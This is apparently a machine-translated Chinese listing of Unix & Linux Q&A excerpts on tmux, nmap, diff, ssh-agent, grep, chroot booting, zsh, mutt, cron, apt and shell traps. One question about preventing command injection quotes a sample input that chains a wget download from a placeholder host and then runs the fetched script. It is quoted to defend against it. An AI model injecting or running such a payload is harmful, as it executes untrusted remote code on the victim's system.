Unix & Linux

Linux,FreeBSD和其他类似Un * x的操作系统用户的问答

4
如何终止tmux会话并生成它
我注意到我有一个正在运行的进程,我认为这是因为我在使用tmux的byobu中初始化了该进程。 ps aux | grep sidekiq 1000 13786 0.0 0.0 8108 900 pts/4 S+ 11:27 0:00 grep sidekiq 我有一个名为“ 3”的tmux会话。如下所示: $ byobu Byobu sessions... 1. tmux: 3: 1 windows (created Wed Aug 28 10:57:54 2013) [229x84] (attached) 2. tmux: daemon: 1 windows (created Thu Jul 11 12:59:09 2013) [127x83] 3. …
13 tmux  byobu 

3
Nmap -sn:扫描还是不扫描?
该nmap手册页有这样说的-sn参数: -sn (No port scan) . This option tells Nmap not to do a port scan after host discovery, and only print out the available hosts that responded to the scan. 句子的前半部分提到没有扫描,但后半部分说有扫描。下半年所指的端口扫描类型是否不同于端口扫描类型?也许是一个主机发现扫描(从我所了解的东西中猜测nmap)?
13 man  nmap 


4
我可以得到`diff -q`的反义词吗?匹配相同文件而不打印其内容
我的目录中有许多文件,我想检查它们是否唯一。为简单起见,假设我有三个文件:foo.txt,bar.txt和baz.txt。如果运行此循环,则将彼此进行检查: $ for f in ./*; do for i in ./*; do diff -q "$f" "$i"; done; done Files bar.txt and baz.txt differ Files bar.txt and foo.txt differ Files baz.txt and bar.txt differ Files baz.txt and foo.txt differ Files foo.txt and bar.txt differ Files foo.txt and baz.txt differ 对于我要处理的数百个文件,这将变得非常难以阅读;最好列出确实匹配的文件,然后我可以快速查看列表并确保文件仅匹配自己。从联机帮助页来看,我认为该-s选项可以完成此任务: $ …
13 bash  diff 

4
未设置ssh代理(未设置SSH_AUTH_SOCK,SSH_AGENT_PID env vars)
我在Kubuntu 12.04上为朋友设置了一个新的用户帐户。当他使用时ssh,会出现以下错误: 无法打开与身份验证代理的连接 我们正在ssh一些bash脚本中运行。 在研究了可能导致该错误的各种因素之后,我想到了以下解决方案: $ eval `ssh-agent -s` $ ssh-add ~/.ssh/some_id_rsa 然后,他可以ssh按预期运行命令(和bash脚本)。 在运行这两个命令之前,不会在终端中设置env变量: $ echo $SSH_AGENT_PID $ echo $SSH_AUTH_SOCK $ 运行命令后,env变量将按预期设置。但是,它们不会保持设置状态(例如,在其他外壳中或在重新启动后)。 我想知道如何设置他的计算机,这样他就不必运行这两个命令来设置env变量。我不需要在计算机上运行它们。到目前为止,我还没有看到我们的机器之间有什么不同。 我在手册页中看到了此信息,但是它并没有告诉我Ubuntu通常是如何自动设置代理的,或者我朋友的计算机上正在发生什么,从而对他不起作用。 设置代理的方法主要有两种:第一种方法是,代理启动一个新的子命令,将某些环境变量导出到该子命令中,例如ssh-agent xterm&。第二个问题是,代理会打印所需的shell命令(可以生成sh(1)或csh(1)语法),这些命令可以在调用shell中进行评估,例如,ssh-agent -s对于bourne 类型的shell(例如sh(1)或ksh(1)和eval ssh-agent -c用于csh(1)及其派生类。 安装acct并重新启动后,这是输出lastcomm: ssh-agent F newuser __ 0.12 secs Wed Aug 7 11:02 ssh-agent F newuser __ 0.00 secs Wed Aug 7 …
13 bash  ssh  kubuntu  ssh-agent 

4
Grep成千上万个文件
我的目录包含cca 26 000个文件,我需要在所有这些文件中进行grep。问题是,我需要尽可能快的速度,因此制作grep从find命令获取一个文件的名称并将匹配项写入文件的脚本不是理想的。在出现“参数列表过长”之前,cca花了2分钟时间在所有这些文件中进行grep。有什么想法怎么做?编辑:有一个脚本一直在制作新文件,因此不可能将所有文件放在不同的目录中。

3
开机进入chroot吗?
我在硬盘驱动器上安装了Linux(Debian Jessie)。驱动器- sda1,ext4fs和sda2-交换 我有一个/chroot文件夹。/chroot文件夹中安装了另一个系统。 题: 如何告诉bootmanager,要引导的不是主系统(主要是Debian Jessie),而是要引导/ chroot中的系统?也许,改变/menu.lst和/chroot/etc/fstab?(vmlinuz root=/dev/sda1/chroot?) 或另一个问题的变体:是否可能不在分区的根目录中而是在文件夹中安装linux?(/another_linux/bin,/another_linux/home,/another_linux/etc,...)

1
Zsh完成,启用Shift-Tab
当zsh向您显示可能的补全菜单时,我希望它可以让我shift-tab用来访问以前的补全条目-是否有一个选项可控制使用什么键来访问以前的补全条目? 如果是这样,我需要将什么添加到我的~/.zshrc 文件中进行设置。 如果有什么不同,我目前可以使用箭头键浏览完成菜单,但是我不喜欢这样做,因为箭头键感觉不合适并且难以使用。

3
mutt:使用gpgme还是经典gpg?
Mutt关于GnuPG集成和其他许多地方的Wiki(例如Debian上的默认设置)使用将Mutt连接到gnupg的经典方法。也就是说,一个配置了一系列命令以gpg直接调用。另一方面,有一个名为的库gpgme,它试图对此进行标准化。在网上搜索“ mutt gpgme”并没有给我任何真正有用的结果。 使用set crypt_use_gpgme=yesin有.muttrc什么优缺点?为什么很少使用?
13 mutt  gpg 

4
停止cron发送邮件作为备份脚本?
我已经建立了一个备份脚本,以使用cron每小时在Minecraft服务器上备份世界数据,但是由于玩家不断地编辑世界,所以tar告诉我文件在读取时发生了变化。我在脚本中的tar中添加了--ignore-command-error,可在我手动运行它时消除任何错误,但是cron仍会发送一封邮件,指出在读取文件时已对其进行了更改,最终淹没了我的邮件,因为每小时运行一次。有人知道怎么修这个东西吗?这是脚本: filename=$(date +%Y-%m-%d) cd /home/minecraft/Server/ for world in survival survival_nether survival_the_end creative superflat do if [ ! -d "/home/minecraft/backups/$world" ]; then mkdir /home/minecraft/backups/$world fi find /home/minecraft/backups/$world -mtime +1 -delete tar --ignore-command-error -c $world/ | nice -n 10 pigz -9 > /home/minecraft/backups/$world/$filename.tar.gz done
13 cron  email  backup 

3
使用apt get install而不插入DVD?
我使用DVD版本安装了Debian 7,因此每次尝试使用apt-get安装某些东西时,系统都会要求我安装DVD。有没有办法避免这种情况(每次插入DVD)。
13 debian 

3
如何通过命令选项防止命令注入?
我有一个包装器应用程序,需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。做到这一点的最佳方法是什么? 例如。 用户提供: -a -b 应用程序执行: mysim --preset_opt -a -b 但是,我不希望这种情况发生: 用户提供: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 应用程序执行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 当前,我认为我可以将每个用户提供的选项都用单引号引起来,'并去除用户提供的任何单引号,这样最后一个示例中的命令将变成无害的: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' 注意:该mysim命令在docker / lxc容器中作为Shell脚本的一部分执行。我正在运行Ubuntu。


2
“ Ungrep”-哪些模式不匹配
我正在寻找执行以下命令的命令或脚本: file1.txt: abcd efgh ijkl mnop file2.txt: 123abcd123 123efgh123 123mnop123 我想要一个执行以下操作的命令: ungrep file1.txt file2.txt 并返回以下内容: ijkl 换句话说,它给了我file1.txt中的行,该行不会在file2.txt的grep上返回任何结果。我知道我可以通过以下方式来做到这一点:遍历file1.txt,为每行grepping file2.txt并存储结果,并输出结果为空的任何行,但是我希望找到一种更有效的方法。
13 grep 

2
如何使用陷阱命令触发错误
我正在使用Ubuntu 12.04.2。我正在尝试使用“ trap”命令捕获外壳脚本中的异常或错误,但是我也试图手动触发“错误”退出。 我尝试退出1,但不会触发“错误”信号。 #!/bin/bash func() { exit 1 } trap "echo hi" INT TERM ERR func 不确定如何手动触发“错误”退出信号?

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.